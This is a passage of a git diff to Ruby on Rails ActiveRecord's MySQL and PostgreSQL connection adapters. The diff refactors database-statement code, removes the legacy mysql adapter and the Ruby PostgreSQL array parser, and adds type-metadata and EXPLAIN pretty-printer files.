prepare_column_options(column) + spec = super + spec[:unsigned] = 'true' if column.unsigned? + spec + end + + def migration_keys + super + [:unsigned] + end + + private + + def default_primary_key?(column) + super && column.auto_increment? + end + + def schema_type(column) + if column.sql_type == 'tinyblob' + :blob + else + super + end + end + + def schema_precision(column) + super unless /time/ === column.sql_type && column.precision == 0 + end + + def schema_collation(column) + if column.collation && table_name = column.table_name + @table_collation_cache ||= {} + @table_collation_cache[table_name] ||= select_one("SHOW TABLE STATUS LIKE '#{table_name}'")["Collation"] + column.collation.inspect if column.collation != @table_collation_cache[table_name] + end + end + end + end + end +end diff --git a/activerecord/lib/active_record/connection_adapters/mysql/type_metadata.rb b/activerecord/lib/active_record/connection_adapters/mysql/type_metadata.rb new file mode 100644 index 0000000000..e1e3f7b472 --- /dev/null +++ b/activerecord/lib/active_record/connection_adapters/mysql/type_metadata.rb @@ -0,0 +1,32 @@ +module ActiveRecord + module ConnectionAdapters + module MySQL + class TypeMetadata < DelegateClass(SqlTypeMetadata) # :nodoc: + attr_reader :extra, :strict + + def initialize(type_metadata, extra: "", strict: false) + super(type_metadata) + @type_metadata = type_metadata + @extra = extra + @strict = strict + end + + def ==(other) + other.is_a?(MySQL::TypeMetadata) && + attributes_for_hash == other.attributes_for_hash + end + alias eql? == + + def hash + attributes_for_hash.hash + end + + protected + + def attributes_for_hash + [self.class, @type_metadata, extra, strict] + end + end + end + end +end diff --git a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb index 21631be25c..22d35f1db5 100644 --- a/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb +++ b/activerecord/lib/active_record/connection_adapters/mysql2_adapter.rb @@ -1,7 +1,9 @@ require 'active_record/connection_adapters/abstract_mysql_adapter' +require 'active_record/connection_adapters/mysql/database_statements' -gem 'mysql2', '~> 0.3.13' +gem 'mysql2', '>= 0.3.18', '< 0.5' require 'mysql2' +raise 'mysql2 0.4.3 is not supported. Please upgrade to 0.4.4+' if Mysql2::VERSION == '0.4.3' module ActiveRecord module ConnectionHandling # :nodoc: @@ -10,17 +12,21 @@ module ActiveRecord config = config.symbolize_keys config[:username] = 'root' if config[:username].nil? + config[:flags] ||= 0 if Mysql2::Client.const_defined? :FOUND_ROWS - config[:flags] = Mysql2::Client::FOUND_ROWS + if config[:flags].kind_of? Array + config[:flags].push "FOUND_ROWS".freeze + else + config[:flags] |= Mysql2::Client::FOUND_ROWS + end end client = Mysql2::Client.new(config) - options = [config[:host], config[:username], config[:password], config[:database], config[:port], config[:socket], 0] - ConnectionAdapters::Mysql2Adapter.new(client, logger, options, config) + ConnectionAdapters::Mysql2Adapter.new(client, logger, nil, config) rescue Mysql2::Error => error if error.message.include?("Unknown database") - raise ActiveRecord::NoDatabaseError.new(error.message, error) + raise ActiveRecord::NoDatabaseError else raise end @@ -31,13 +37,27 @@ module ActiveRecord class Mysql2Adapter < AbstractMysqlAdapter ADAPTER_NAME = 'Mysql2'.freeze + include MySQL::DatabaseStatements + def initialize(connection, logger, connection_options, config) super - @prepared_statements = false + @prepared_statements = false unless config.key?(:prepared_statements) configure_connection end - def supports_explain? + def supports_json? + !mariadb? && version >= '5.7.8' + end + + def supports_comments? + true + end + + def supports_comments_in_create? + true + end + + def supports_savepoints? true end @@ -91,156 +111,6 @@ module ActiveRecord end end - #-- - # DATABASE STATEMENTS ====================================== - #++ - - def explain(arel, binds = []) - sql = "EXPLAIN #{to_sql(arel, binds.dup)}" - start = Time.now - result = exec_query(sql, 'EXPLAIN', binds) - elapsed = Time.now - start - - ExplainPrettyPrinter.new.pp(result, elapsed) - end - - class ExplainPrettyPrinter # :nodoc: - # Pretty prints the result of a EXPLAIN in a way that resembles the output of the - # MySQL shell: - # - # +----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+ - # | id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra | - # +----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+ - # | 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | | - # | 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where | - # +----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+ - # 2 rows in set (0.00 sec) - # - # This is an exercise in Ruby hyperrealism :). - def pp(result, elapsed) - widths = compute_column_widths(result) - separator = build_separator(widths) - - pp = [] - - pp << separator - pp << build_cells(result.columns, widths) - pp << separator - - result.rows.each do |row| - pp << build_cells(row, widths) - end - - pp << separator - pp << build_footer(result.rows.length, elapsed) - - pp.join("\n") + "\n" - end - - private - - def compute_column_widths(result) - [].tap do |widths| - result.columns.each_with_index do |column, i| - cells_in_column = [column] + result.rows.map {|r| r[i].nil? ? 'NULL' : r[i].to_s} - widths << cells_in_column.map(&:length).max - end - end - end - - def build_separator(widths) - padding = 1 - '+' + widths.map {|w| '-' * (w + (padding*2))}.join('+') + '+' - end - - def build_cells(items, widths) - cells = [] - items.each_with_index do |item, i| - item = 'NULL' if item.nil? - justifier = item.is_a?(Numeric) ? 'rjust' : 'ljust' - cells << item.to_s.send(justifier, widths[i]) - end - '| ' + cells.join(' | ') + ' |' - end - - def build_footer(nrows, elapsed) - rows_label = nrows == 1 ? 'row' : 'rows' - "#{nrows} #{rows_label} in set (%.2f sec)" % elapsed - end - end - - # FIXME: re-enable the following once a "better" query_cache solution is in core - # - # The overrides below perform much better than the originals in AbstractAdapter - # because we're able to take advantage of mysql2's lazy-loading capabilities - # - # # Returns a record hash with the column names as keys and column values - # # as values. - # def select_one(sql, name = nil) - # result = execute(sql, name) - # result.each(as: :hash) do |r| - # return r - # end - # end - # - # # Returns a single value from a record - # def select_value(sql, name = nil) - # result = execute(sql, name) - # if first = result.first - # first.first - # end - # end - # - # # Returns an array of the values of the first column in a select: - # # select_values("SELECT id FROM companies LIMIT 3") => [1,2,3] - # def select_values(sql, name = nil) - # execute(sql, name).map { |row| row.first } - # end - - # Returns an array of arrays containing the field values. - # Order is the same as that returned by +columns+. - def select_rows(sql, name = nil, binds = []) - execute(sql, name).to_a - end - - # Executes the SQL statement in the context of this connection. - def execute(sql, name = nil) - if @connection - # make sure we carry over any changes to ActiveRecord::Base.default_timezone that have been - # made since we established the connection - @connection.query_options[:database_timezone] = ActiveRecord::Base.default_timezone - end - - super - end - - def exec_query(sql, name = 'SQL', binds = []) - result = execute(sql, name) - ActiveRecord::Result.new(result.fields, result.to_a) - end - - alias exec_without_stmt exec_query - - def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) - super - id_value || @connection.last_id - end - alias :create :insert_sql - - def exec_insert(sql, name, binds, pk = nil, sequence_name = nil) - execute to_sql(sql, binds), name - end - - def exec_delete(sql, name, binds) - execute to_sql(sql, binds), name - @connection.affected_rows - end - alias :exec_update :exec_delete - - def last_inserted_id(result) - @connection.last_id - end - private def connect @@ -254,11 +124,7 @@ module ActiveRecord end def full_version - @full_version ||= @connection.info[:version] - end - - def set_field_encoding field_name - field_name + @full_version ||= @connection.server_info[:version] end end end diff --git a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb b/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb deleted file mode 100644 index 45b935f1d6..0000000000 --- a/activerecord/lib/active_record/connection_adapters/mysql_adapter.rb +++ /dev/null @@ -1,487 +0,0 @@ -require 'active_record/connection_adapters/abstract_mysql_adapter' -require 'active_record/connection_adapters/statement_pool' -require 'active_support/core_ext/hash/keys' - -gem 'mysql', '~> 2.9' -require 'mysql' - -class Mysql - class Time - def to_date - Date.new(year, month, day) - end - end - class Stmt; include Enumerable end - class Result; include Enumerable end -end - -module ActiveRecord - module ConnectionHandling # :nodoc: - # Establishes a connection to the database that's used by all Active Record objects. - def mysql_connection(config) - config = config.symbolize_keys - host = config[:host] - port = config[:port] - socket = config[:socket] - username = config[:username] ? config[:username].to_s : 'root' - password = config[:password].to_s - database = config[:database] - - mysql = Mysql.init - mysql.ssl_set(config[:sslkey], config[:sslcert], config[:sslca], config[:sslcapath], config[:sslcipher]) if config[:sslca] || config[:sslkey] - - default_flags = Mysql.const_defined?(:CLIENT_MULTI_RESULTS) ? Mysql::CLIENT_MULTI_RESULTS : 0 - default_flags |= Mysql::CLIENT_FOUND_ROWS if Mysql.const_defined?(:CLIENT_FOUND_ROWS) - options = [host, username, password, database, port, socket, default_flags] - ConnectionAdapters::MysqlAdapter.new(mysql, logger, options, config) - rescue Mysql::Error => error - if error.message.include?("Unknown database") - raise ActiveRecord::NoDatabaseError.new(error.message, error) - else - raise - end - end - end - - module ConnectionAdapters - # The MySQL adapter will work with both Ruby/MySQL, which is a Ruby-based MySQL adapter that comes bundled with Active Record, and with - # the faster C-based MySQL/Ruby adapter (available both as a gem and from http://www.tmtm.org/en/mysql/ruby/). - # - # Options: - # - # * <tt>:host</tt> - Defaults to "localhost". - # * <tt>:port</tt> - Defaults to 3306. - # * <tt>:socket</tt> - Defaults to "/tmp/mysql.sock". - # * <tt>:username</tt> - Defaults to "root" - # * <tt>:password</tt> - Defaults to nothing. - # * <tt>:database</tt> - The name of the database. No default, must be provided. - # * <tt>:encoding</tt> - (Optional) Sets the client encoding by executing "SET NAMES <encoding>" after connection. - # * <tt>:reconnect</tt> - Defaults to false (See MySQL documentation: http://dev.mysql.com/doc/refman/5.6/en/auto-reconnect.html). - # * <tt>:strict</tt> - Defaults to true. Enable STRICT_ALL_TABLES. (See MySQL documentation: http://dev.mysql.com/doc/refman/5.6/en/sql-mode.html) - # * <tt>:variables</tt> - (Optional) A hash session variables to send as <tt>SET @@SESSION.key = value</tt> on each database connection. Use the value +:default+ to set a variable to its DEFAULT value. (See MySQL documentation: http://dev.mysql.com/doc/refman/5.6/en/set-statement.html). - # * <tt>:sslca</tt> - Necessary to use MySQL with an SSL connection. - # * <tt>:sslkey</tt> - Necessary to use MySQL with an SSL connection. - # * <tt>:sslcert</tt> - Necessary to use MySQL with an SSL connection. - # * <tt>:sslcapath</tt> - Necessary to use MySQL with an SSL connection. - # * <tt>:sslcipher</tt> - Necessary to use MySQL with an SSL connection. - # - class MysqlAdapter < AbstractMysqlAdapter - ADAPTER_NAME = 'MySQL'.freeze - - class StatementPool < ConnectionAdapters::StatementPool - def initialize(connection, max = 1000) - super - @cache = Hash.new { |h,pid| h[pid] = {} } - end - - def each(&block); cache.each(&block); end - def key?(key); cache.key?(key); end - def [](key); cache[key]; end - def length; cache.length; end - def delete(key); cache.delete(key); end - - def []=(sql, key) - while @max <= cache.size - cache.shift.last[:stmt].close - end - cache[sql] = key - end - - def clear - cache.each_value do |hash| - hash[:stmt].close - end - cache.clear - end - - private - def cache - @cache[Process.pid] - end - end - - def initialize(connection, logger, connection_options, config) - super - @statements = StatementPool.new(@connection, - self.class.type_cast_config_to_integer(config.fetch(:statement_limit) { 1000 })) - @client_encoding = nil - connect - end - - # Returns true, since this connection adapter supports prepared statement - # caching. - def supports_statement_cache? - true - end - - # HELPER METHODS =========================================== - - def each_hash(result) # :nodoc: - if block_given? - result.each_hash do |row| - row.symbolize_keys! - yield row - end - else - to_enum(:each_hash, result) - end - end - - def error_number(exception) # :nodoc: - exception.errno if exception.respond_to?(:errno) - end - - # QUOTING ================================================== - - def quote_string(string) #:nodoc: - @connection.quote(string) - end - - #-- - # CONNECTION MANAGEMENT ==================================== - #++ - - def active? - if @connection.respond_to?(:stat) - @connection.stat - else - @connection.query 'select 1' - end - - # mysql-ruby doesn't raise an exception when stat fails. - if @connection.respond_to?(:errno) - @connection.errno.zero? - else - true - end - rescue Mysql::Error - false - end - - def reconnect! - super - disconnect! - connect - end - - # Disconnects from the database if already connected. Otherwise, this - # method does nothing. - def disconnect! - super - @connection.close rescue nil - end - - def reset! - if @connection.respond_to?(:change_user) - # See http://bugs.mysql.com/bug.php?id=33540 -- the workaround way to - # reset the connection is to change the user to the same user. - @connection.change_user(@config[:username], @config[:password], @config[:database]) - configure_connection - end - end - - #-- - # DATABASE STATEMENTS ====================================== - #++ - - def select_rows(sql, name = nil, binds = []) - @connection.query_with_result = true - rows = exec_query(sql, name, binds).rows - @connection.more_results && @connection.next_result # invoking stored procedures with CLIENT_MULTI_RESULTS requires this to tidy up else connection will be dropped - rows - end - - # Clears the prepared statements cache. - def clear_cache! - super - @statements.clear - end - - # Taken from here: - # https://github.com/tmtm/ruby-mysql/blob/master/lib/mysql/charset.rb - # Author: TOMITA Masahiro <tommy@tmtm.org> - ENCODINGS = { - "armscii8" => nil, - "ascii" => Encoding::US_ASCII, - "big5" => Encoding::Big5, - "binary" => Encoding::ASCII_8BIT, - "cp1250" => Encoding::Windows_1250, - "cp1251" => Encoding::Windows_1251, - "cp1256" => Encoding::Windows_1256, - "cp1257" => Encoding::Windows_1257, - "cp850" => Encoding::CP850, - "cp852" => Encoding::CP852, - "cp866" => Encoding::IBM866, - "cp932" => Encoding::Windows_31J, - "dec8" => nil, - "eucjpms" => Encoding::EucJP_ms, - "euckr" => Encoding::EUC_KR, - "gb2312" => Encoding::EUC_CN, - "gbk" => Encoding::GBK, - "geostd8" => nil, - "greek" => Encoding::ISO_8859_7, - "hebrew" => Encoding::ISO_8859_8, - "hp8" => nil, - "keybcs2" => nil, - "koi8r" => Encoding::KOI8_R, - "koi8u" => Encoding::KOI8_U, - "latin1" => Encoding::ISO_8859_1, - "latin2" => Encoding::ISO_8859_2, - "latin5" => Encoding::ISO_8859_9, - "latin7" => Encoding::ISO_8859_13, - "macce" => Encoding::MacCentEuro, - "macroman" => Encoding::MacRoman, - "sjis" => Encoding::SHIFT_JIS, - "swe7" => nil, - "tis620" => Encoding::TIS_620, - "ucs2" => Encoding::UTF_16BE, - "ujis" => Encoding::EucJP_ms, - "utf8" => Encoding::UTF_8, - "utf8mb4" => Encoding::UTF_8, - } - - # Get the client encoding for this database - def client_encoding - return @client_encoding if @client_encoding - - result = exec_query( - "SHOW VARIABLES WHERE Variable_name = 'character_set_client'", - 'SCHEMA') - @client_encoding = ENCODINGS[result.rows.last.last] - end - - def exec_query(sql, name = 'SQL', binds = []) - if without_prepared_statement?(binds) - result_set, affected_rows = exec_without_stmt(sql, name) - else - result_set, affected_rows = exec_stmt(sql, name, binds) - end - - yield affected_rows if block_given? - - result_set - end - - def last_inserted_id(result) - @connection.insert_id - end - - module Fields # :nodoc: - class DateTime < Type::DateTime # :nodoc: - def cast_value(value) - if Mysql::Time === value - new_time( - value.year, - value.month, - value.day, - value.hour, - value.minute, - value.second, - value.second_part) - else - super - end - end - end - - class Time < Type::Time # :nodoc: - def cast_value(value) - if Mysql::Time === value - new_time( - 2000, - 01, - 01, - value.hour, - value.minute, - value.second, - value.second_part) - else - super - end - end - end - - class << self - TYPES = Type::HashLookupTypeMap.new # :nodoc: - - delegate :register_type, :alias_type, to: :TYPES - - def find_type(field) - if field.type == Mysql::Field::TYPE_TINY && field.length > 1 - TYPES.lookup(Mysql::Field::TYPE_LONG) - else - TYPES.lookup(field.type) - end - end - end - - register_type Mysql::Field::TYPE_TINY, Type::Boolean.new - register_type Mysql::Field::TYPE_LONG, Type::Integer.new - alias_type Mysql::Field::TYPE_LONGLONG, Mysql::Field::TYPE_LONG - alias_type Mysql::Field::TYPE_NEWDECIMAL, Mysql::Field::TYPE_LONG - - register_type Mysql::Field::TYPE_DATE, Type::Date.new - register_type Mysql::Field::TYPE_DATETIME, Fields::DateTime.new - register_type Mysql::Field::TYPE_TIME, Fields::Time.new - register_type Mysql::Field::TYPE_FLOAT, Type::Float.new - end - - def initialize_type_map(m) # :nodoc: - super - register_class_with_precision m, %r(datetime)i, Fields::DateTime - register_class_with_precision m, %r(time)i, Fields::Time - end - - def exec_without_stmt(sql, name = 'SQL') # :nodoc: - # Some queries, like SHOW CREATE TABLE don't work through the prepared - # statement API. For those queries, we need to use this method. :'( - log(sql, name) do - result = @connection.query(sql) - affected_rows = @connection.affected_rows - - if result - types = {} - fields = [] - result.fetch_fields.each { |field| - field_name = field.name - fields << field_name - - if field.decimals > 0 - types[field_name] = Type::Decimal.new - else - types[field_name] = Fields.find_type field - end - } - - result_set = ActiveRecord::Result.new(fields, result.to_a, types) - result.free - else - result_set = ActiveRecord::Result.new([], []) - end - - [result_set, affected_rows] - end - end - - def execute_and_free(sql, name = nil) # :nodoc: - result = execute(sql, name) - ret = yield result - result.free - ret - end - - def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) #:nodoc: - super sql, name - id_value || @connection.insert_id - end - alias :create :insert_sql - - def exec_delete(sql, name, binds) # :nodoc: - affected_rows = 0 - - exec_query(sql, name, binds) do |n| - affected_rows = n - end - - affected_rows - end - alias :exec_update :exec_delete - - def begin_db_transaction #:nodoc: - exec_query "BEGIN" - end - - private - - def exec_stmt(sql, name, binds) - cache = {} - type_casted_binds = binds.map { |attr| type_cast(attr.value_for_database) } - - log(sql, name, binds) do - if binds.empty? - stmt = @connection.prepare(sql) - else - cache = @statements[sql] ||= { - :stmt => @connection.prepare(sql) - } - stmt = cache[:stmt] - end - - begin - stmt.execute(*type_casted_binds) - rescue Mysql::Error => e - # Older versions of MySQL leave the prepared statement in a bad - # place when an error occurs. To support older MySQL versions, we - # need to close the statement and delete the statement from the - # cache. - stmt.close - @statements.delete sql - raise e - end - - cols = nil - if metadata = stmt.result_metadata - cols = cache[:cols] ||= metadata.fetch_fields.map(&:name) - metadata.free - end - - result_set = ActiveRecord::Result.new(cols, stmt.to_a) if cols - affected_rows = stmt.affected_rows - - stmt.free_result - stmt.close if binds.empty? - - [result_set, affected_rows] - end - end - - def connect - encoding = @config[:encoding] - if encoding - @connection.options(Mysql::SET_CHARSET_NAME, encoding) rescue nil - end - - if @config[:sslca] || @config[:sslkey] - @connection.ssl_set(@config[:sslkey], @config[:sslcert], @config[:sslca], @config[:sslcapath], @config[:sslcipher]) - end - - @connection.options(Mysql::OPT_CONNECT_TIMEOUT, @config[:connect_timeout]) if @config[:connect_timeout] - @connection.options(Mysql::OPT_READ_TIMEOUT, @config[:read_timeout]) if @config[:read_timeout] - @connection.options(Mysql::OPT_WRITE_TIMEOUT, @config[:write_timeout]) if @config[:write_timeout] - - @connection.real_connect(*@connection_options) - - # reconnect must be set after real_connect is called, because real_connect sets it to false internally - @connection.reconnect = !!@config[:reconnect] if @connection.respond_to?(:reconnect=) - - configure_connection - end - - # Many Rails applications monkey-patch a replacement of the configure_connection method - # and don't call 'super', so leave this here even though it looks superfluous. - def configure_connection - super - end - - def select(sql, name = nil, binds = []) - @connection.query_with_result = true - rows = super - @connection.more_results && @connection.next_result # invoking stored procedures with CLIENT_MULTI_RESULTS requires this to tidy up else connection will be dropped - rows - end - - # Returns the full version of the connected MySQL server. - def full_version - @full_version ||= @connection.server_info - end - - def set_field_encoding field_name - field_name.force_encoding(client_encoding) - if internal_enc = Encoding.default_internal - field_name = field_name.encode!(internal_enc) - end - field_name - end - end - end -end diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb b/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb deleted file mode 100644 index 1b74c039ce..0000000000 --- a/activerecord/lib/active_record/connection_adapters/postgresql/array_parser.rb +++ /dev/null @@ -1,93 +0,0 @@ -module ActiveRecord - module ConnectionAdapters - module PostgreSQL - module ArrayParser # :nodoc: - - DOUBLE_QUOTE = '"' - BACKSLASH = "\\" - COMMA = ',' - BRACKET_OPEN = '{' - BRACKET_CLOSE = '}' - - def parse_pg_array(string) # :nodoc: - local_index = 0 - array = [] - while(local_index < string.length) - case string[local_index] - when BRACKET_OPEN - local_index,array = parse_array_contents(array, string, local_index + 1) - when BRACKET_CLOSE - return array - end - local_index += 1 - end - - array - end - - private - - def parse_array_contents(array, string, index) - is_escaping = false - is_quoted = false - was_quoted = false - current_item = '' - - local_index = index - while local_index - token = string[local_index] - if is_escaping - current_item << token - is_escaping = false - else - if is_quoted - case token - when DOUBLE_QUOTE - is_quoted = false - was_quoted = true - when BACKSLASH - is_escaping = true - else - current_item << token - end - else - case token - when BACKSLASH - is_escaping = true - when COMMA - add_item_to_array(array, current_item, was_quoted) - current_item = '' - was_quoted = false - when DOUBLE_QUOTE - is_quoted = true - when BRACKET_OPEN - internal_items = [] - local_index,internal_items = parse_array_contents(internal_items, string, local_index + 1) - array.push(internal_items) - when BRACKET_CLOSE - add_item_to_array(array, current_item, was_quoted) - return local_index,array - else - current_item << token - end - end - end - - local_index += 1 - end - return local_index,array - end - - def add_item_to_array(array, current_item, quoted) - return if !quoted && current_item.length == 0 - - if !quoted && current_item == 'NULL' - array.push nil - else - array.push current_item - end - end - end - end - end -end diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/column.rb b/activerecord/lib/active_record/connection_adapters/postgresql/column.rb index be13ead120..3ad1911a28 100644 --- a/activerecord/lib/active_record/connection_adapters/postgresql/column.rb +++ b/activerecord/lib/active_record/connection_adapters/postgresql/column.rb @@ -8,7 +8,7 @@ module ActiveRecord def serial? return unless default_function - %r{\Anextval\('(?<table_name>.+)_#{name}_seq'::regclass\)\z} === default_function + %r{\Anextval\('"?#{table_name}_#{name}_seq"?'::regclass\)\z} === default_function end end end diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb b/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb index 11d3f5301a..6f2e03b370 100644 --- a/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb +++ b/activerecord/lib/active_record/connection_adapters/postgresql/database_statements.rb @@ -4,44 +4,7 @@ module ActiveRecord module DatabaseStatements def explain(arel, binds = []) sql = "EXPLAIN #{to_sql(arel, binds)}" - ExplainPrettyPrinter.new.pp(exec_query(sql, 'EXPLAIN', binds)) - end - - class ExplainPrettyPrinter # :nodoc: - # Pretty prints the result of a EXPLAIN in a way that resembles the output of the - # PostgreSQL shell: - # - # QUERY PLAN - # ------------------------------------------------------------------------------ - # Nested Loop Left Join (cost=0.00..37.24 rows=8 width=0) - # Join Filter: (posts.user_id = users.id) - # -> Index Scan using users_pkey on users (cost=0.00..8.27 rows=1 width=4) - # Index Cond: (id = 1) - # -> Seq Scan on posts (cost=0.00..28.88 rows=8 width=4) - # Filter: (posts.user_id = 1) - # (6 rows) - # - def pp(result) - header = result.columns.first - lines = result.rows.map(&:first) - - # We add 2 because there's one char of padding at both sides, note - # the extra hyphens in the example above. - width = [header, *lines].map(&:length).max + 2 - - pp = [] - - pp << header.center(width).rstrip - pp << '-' * width - - pp += lines.map {|line| " #{line}"} - - nrows = result.rows.length - rows_label = nrows == 1 ? 'row' : 'rows' - pp << "(#{nrows} #{rows_label})" - - pp.join("\n") + "\n" - end + PostgreSQL::ExplainPrettyPrinter.new.pp(exec_query(sql, 'EXPLAIN', binds)) end def select_value(arel, name = nil, binds = []) @@ -52,8 +15,8 @@ module ActiveRecord end end - def select_values(arel, name = nil) - arel, binds = binds_from_relation arel, [] + def select_values(arel, name = nil, binds = []) + arel, binds = binds_from_relation arel, binds sql = to_sql(arel, binds) execute_and_clear(sql, name, binds) do |result| if result.nfields > 0 @@ -72,28 +35,6 @@ module ActiveRecord end end - # Executes an INSERT query and returns the new record's ID - def insert_sql(sql, name = nil, pk = nil, id_value = nil, sequence_name = nil) - unless pk - # Extract the table from the insert sql. Yuck. - table_ref = extract_table_ref_from_insert_sql(sql) - pk = primary_key(table_ref) if table_ref - end - - if pk && use_insert_returning? - select_value("#{sql} RETURNING #{quote_column_name(pk)}") - elsif pk - super - last_insert_id_value(sequence_name || default_sequence_name(table_ref, pk)) - else - super - end - end - - def create - super.insert - end - # The internal PostgreSQL identifier of the money data type. MONEY_COLUMN_TYPE_OID = 790 #:nodoc: # The internal PostgreSQL identifier of the BYTEA data type. @@ -150,14 +91,16 @@ module ActiveRecord # Executes an SQL statement, returning a PGresult object on success # or raising a PGError exception otherwise. + # Note: the PGresult object is manually memory managed; if you don't + # need it specifically, you many want consider the exec_query wrapper. def execute(sql, name = nil) log(sql, name) do @connection.async_exec(sql) end end - def exec_query(sql, name = 'SQL', binds = []) - execute_and_clear(sql, name, binds) do |result| + def exec_query(sql, name = 'SQL', binds = [], prepare: false) + execute_and_clear(sql, name, binds, prepare: prepare) do |result| types = {} fields = result.fields fields.each_with_index do |fname, i| @@ -174,8 +117,8 @@ module ActiveRecord end alias :exec_update :exec_delete - def sql_for_insert(sql, pk, id_value, sequence_name, binds) - unless pk + def sql_for_insert(sql, pk, id_value, sequence_name, binds) # :nodoc: + if pk.nil? # Extract the table from the insert sql. Yuck. table_ref = extract_table_ref_from_insert_sql(sql) pk = primary_key(table_ref) if table_ref @@ -185,7 +128,7 @@ module ActiveRecord sql = "#{sql} RETURNING #{quote_column_name(pk)}" end - [sql, binds] + super end def exec_insert(sql, name, binds, pk = nil, sequence_name = nil) @@ -202,11 +145,6 @@ module ActiveRecord end end - # Executes an UPDATE query and returns the number of affected tuples. - def update_sql(sql, name = nil) - super.cmd_tuples - end - # Begins a transaction. def begin_db_transaction execute "BEGIN" diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/explain_pretty_printer.rb b/activerecord/lib/active_record/connection_adapters/postgresql/explain_pretty_printer.rb new file mode 100644 index 0000000000..789b88912c --- /dev/null +++ b/activerecord/lib/active_record/connection_adapters/postgresql/explain_pretty_printer.rb @@ -0,0 +1,42 @@ +module ActiveRecord + module ConnectionAdapters + module PostgreSQL + class ExplainPrettyPrinter # :nodoc: + # Pretty prints the result of an EXPLAIN in a way that resembles the output of the + # PostgreSQL shell: + # + # QUERY PLAN + # ------------------------------------------------------------------------------ + # Nested Loop Left Join (cost=0.00..37.24 rows=8 width=0) + # Join Filter: (posts.user_id = users.id) + # -> Index Scan using users_pkey on users (cost=0.00..8.27 rows=1 width=4) + # Index Cond: (id = 1) + # -> Seq Scan on posts (cost=0.00..28.88 rows=8 width=4) + # Filter: (posts.user_id = 1) + # (6 rows) + # + def pp(result) + header = result.columns.first + lines = result.rows.map(&:first) + + # We add 2 because there's one char of padding at both sides, note + # the extra hyphens in the example above. + width = [header, *lines].map(&:length).max + 2 + + pp = [] + + pp << header.center(width).rstrip + pp << '-' * width + + pp += lines.map {|line| " #{line}"} + + nrows = result.rows.length + rows_label = nrows == 1 ? 'row' : 'rows' + pp << "(#{nrows} #{rows_label})" + + pp.join("\n") + "\n" + end + end + end + end +end diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb index 92349e2f9b..68752cdd80 100644 --- a/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb +++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid.rb @@ -12,6 +12,7 @@ require 'active_record/connection_adapters/postgresql/oid/json' require 'active_record/connection_adapters/postgresql/oid/jsonb' require 'active_record/connection_adapters/postgresql/oid/money' require 'active_record/connection_adapters/postgresql/oid/point' +require 'active_record/connection_adapters/postgresql/oid/rails_5_1_point' require 'active_record/connection_adapters/postgresql/oid/range' require 'active_record/connection_adapters/postgresql/oid/specialized_string' require 'active_record/connection_adapters/postgresql/oid/uuid' diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/oid/array.rb b/activerecord/lib/active_record/connection_adapters/postgresql/oid/array.rb index fb4e0de2a8..87593ef704 100644 --- a/activerecord/lib/active_record/connection_adapters/postgresql/oid/array.rb +++ b/activerecord/lib/active_record/connection_adapters/postgresql/oid/array.rb @@ -5,29 +5,20 @@ module ActiveRecord class Array < Type::Value # :nodoc: include Type::Helpers::Mutable - # Loads pg_array_parser if available. String parsing can be - # performed quicker by a native extension, which will not create - # a large amount of Ruby objects that will need to be garbage - # collected. pg_array_parser has a C and Java extension - begin - require 'pg_array_parser' - include PgArrayParser - rescue LoadError - require 'active_record/connection_adapters/postgresql/array_parser' - include PostgreSQL::ArrayParser - end - attr_reader :subtype, :delimiter - delegate :type, :user_input_in_time_zone, to: :subtype + delegate :type, :user_input_in_time_zone, :limit, to: :subtype def initialize(subtype, delimiter = ',') @subtype = subtype @delimiter = delimiter + + @pg_encoder = PG::TextEncoder::Array.new name: "#{type}[]", delimiter: delimiter + @pg_decoder = PG::TextDecoder::Array.new name: "#{type}[]", delimiter: delimiter end def deserialize(value) if value.is_a?(::String) - type_cast_array(parse_pg_array(value), :deserialize) + type_cast_array(@pg_decoder.decode(value), :deserialize) else super end @@ -35,14 +26,14 @@ module ActiveRecord def cast(value) if value.is_a?(::String) - value = parse_pg_array(value) + value = @pg_decoder.decode(value) end type_cast_array(value, :cast) end def serialize(value) if value.is_a?(::Array) - cast_value_for_database(value) + @pg_encoder.encode(type_cast_array(value, :serialize)) else super end @@ -54,6 +45,15 @@ module ActiveRecord delimiter == other.delimiter end + def type_cast_for_schema(value) + return super unless value.is_a?(::Array) + "[" + value.map { |v| subtype.type_cast_for_schema(v) }.join(", ") + "]" + end + + def map(value, &block) + value.map(&block) + end + private def type_cast_array(value, method) @@ -63,41 +63,6 @@ module ActiveRecord @subtype.public_send(method, value) end end - - def cast_value_for_database(value) - if value.is_a?(::Array) - casted_values = value.map { |item| cast_value_for_database(item) } - "{#{casted_values.join(delimiter)}}" - else - quote_and_escape(subtype.serialize(value)) - end - end - - ARRAY_ESCAPE = "\\" * 2 * 2 # escape the backslash twice for PG arrays - - def quote_and_escape(value) - case value - when ::String - if string_requires_quoting?(value) - value = value.gsub(/\\/, ARRAY_ESCAPE) - value.gsub!(/"/,"\\\"") - %("#{value}") - else - value - end - when nil then "NULL" - else value - end - end - - # See http://www.postgresql.org/docs/9.2/static/arrays.html#ARRAYS-IO - # for a list of all cases in which strings will be quoted. - def string_requires_quoting?(string) - string.empty? || - string == "NULL" || - string =~ /[\{\}"\\\s]/ || - string.include?(delimiter) - end end end end diff --git 